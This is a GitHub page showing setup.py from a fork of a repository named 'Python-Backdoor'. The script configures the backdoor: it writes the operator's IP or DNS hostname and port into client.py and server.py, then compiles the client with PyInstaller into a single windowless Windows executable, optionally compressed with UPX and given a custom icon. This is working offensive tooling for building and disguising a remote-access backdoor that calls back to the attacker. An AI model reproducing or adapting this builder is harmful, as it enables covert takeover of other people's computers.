forked from xp4xbox/Python-Backdoor
-
Notifications
You must be signed in to change notification settings - Fork 0
/
setup.py
139 lines (114 loc) · 4.97 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
import os, sys, socket, shutil
# get the path to python install dir
python_path = "\"" + os.path.dirname(sys.executable)
try:
# create a dummy socket to get local IP address
objSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
objSocket.connect(("google.com", 0))
strCurrentIP = objSocket.getsockname()[0]
objSocket.close()
except socket.error:
print("Make sure you are connected to the internet.")
sys.exit(0)
# check to make sure client.py exists
if not os.path.isfile("client.py"):
print("client.py not found!")
sys.exit(0)
print("1. Use: " + strCurrentIP)
print("2. Use a different IP address for server")
print("3. Use a DNS Hostname")
strChoice = input("\n" + "Type selection: ")
if strChoice == "1":
pass
elif strChoice == "2":
strCurrentIP = input("\n" + "Enter IP: ")
elif strChoice == "3":
strDNSHostname = input("\n" + "Enter DNS Hostname: ")
else:
print("Invalid Choice!")
sys.exit(0)
strPort = input("\n" + "Enter port number (Press ENTER for default): ")
if strPort == "":
pass
else:
# check to make sure port is a number between 0 and 65535
if not strPort.isdigit():
print("You must enter numeric value!")
sys.exit(0)
elif not 0 <= int(strPort) <= 65535:
print("You must enter a port between 0 and 65535!")
sys.exit(0)
# check to make sure server exists
elif not os.path.isfile("server.py"):
print("server.py not found!")
sys.exit(0)
# open server and put all lines in an array
objServerFile = open("server.py", "r")
arrFileContents = objServerFile.readlines()
objServerFile.close()
# use loop in order to ensure that line number doesnt matter
for intCounter in range(0, len(arrFileContents)):
# if the current line is the line that sets the port, set the port
if arrFileContents[intCounter][0:9] == "intPort =":
arrFileContents[intCounter] = "intPort = " + strPort + "\n"
break
# write lines to server
objServerFile = open("server.py", "w")
objServerFile.writelines(arrFileContents)
objServerFile.close()
objClientFile = open("client.py", "r")
arrFileContents = objClientFile.readlines()
objClientFile.close()
# if the user is not using dns
if strChoice == "2" or strChoice == "1":
for intCounter in range(0, len(arrFileContents)):
# check for the first occurrence of the host
if arrFileContents[intCounter][0:9] == "strHost =" or arrFileContents[intCounter][0:11] == "# strHost =":
# set strHost to be the IP
arrFileContents[intCounter] = "strHost = \"" + strCurrentIP + "\"" + "\n"
# comment out the line below used for DNS
arrFileContents[intCounter + 1] = "# strHost = socket.gethostbyname(\"\")" + "\n"
# break for the first occurrence
break
else:
for intCounter in range(0, len(arrFileContents)):
if arrFileContents[intCounter][0:9] == "strHost =" or arrFileContents[intCounter][0:11] == "# strHost =":
arrFileContents[intCounter] = "# strHost = \"\"" + "\n"
arrFileContents[intCounter + 1] = "strHost = socket.gethostbyname(\"" + strDNSHostname + "\")" + "\n"
break
if strPort != "":
# if the user entered a custom port, change it in the client
for intCounter in range(0, len(arrFileContents)):
if arrFileContents[intCounter][0:9] == "intPort =":
arrFileContents[intCounter] = "intPort = " + strPort + "\n"
break
objClientFile = open("client.py", "w")
objClientFile.writelines(arrFileContents)
objClientFile.close()
strUPXChoice = input("\n" + "Use UPX? y/n (Decreases file size but may not work on fresh computers): ")
if strUPXChoice == "y":
strUPX = ""
else:
# https://github.com/pyinstaller/pyinstaller/issues/3005
strUPX = "--noupx"
shutil.rmtree(os.environ["APPDATA"] + "/pyinstaller")
strIconChoice = input("\n" + "Path for icon (Press ENTER to skip): ")
# remove quotes if there are any
strIconChoice = strIconChoice.replace("\"", "")
# if the user did not choose an icon build the client using pyinstaller
if strIconChoice == "":
os.system(python_path + "/Scripts/pyinstaller\" client.py " + strUPX + " --exclude-module FixTk --exclude-module tcl --exclude-module tk "
"--exclude-module _tkinter --exclude-module tkinter --exclude-module Tkinter "
"--onefile --windowed")
# check to make sure the icon exists and that it is a .ico file
elif not os.path.isfile(strIconChoice):
print("Invalid path!")
sys.exit(0)
elif not strIconChoice.endswith(".ico"):
print("Must be a .ico file!")
sys.exit(0)
else:
# build the client with an icon
os.system(python_path + "/Scripts/pyinstaller\" client.py " + strUPX + " --exclude-module FixTk --exclude-module tcl --exclude-module tk "
"--exclude-module _tkinter --exclude-module tkinter --exclude-module Tkinter "
"--onefile --windowed --icon=\"" + strIconChoice + "\"")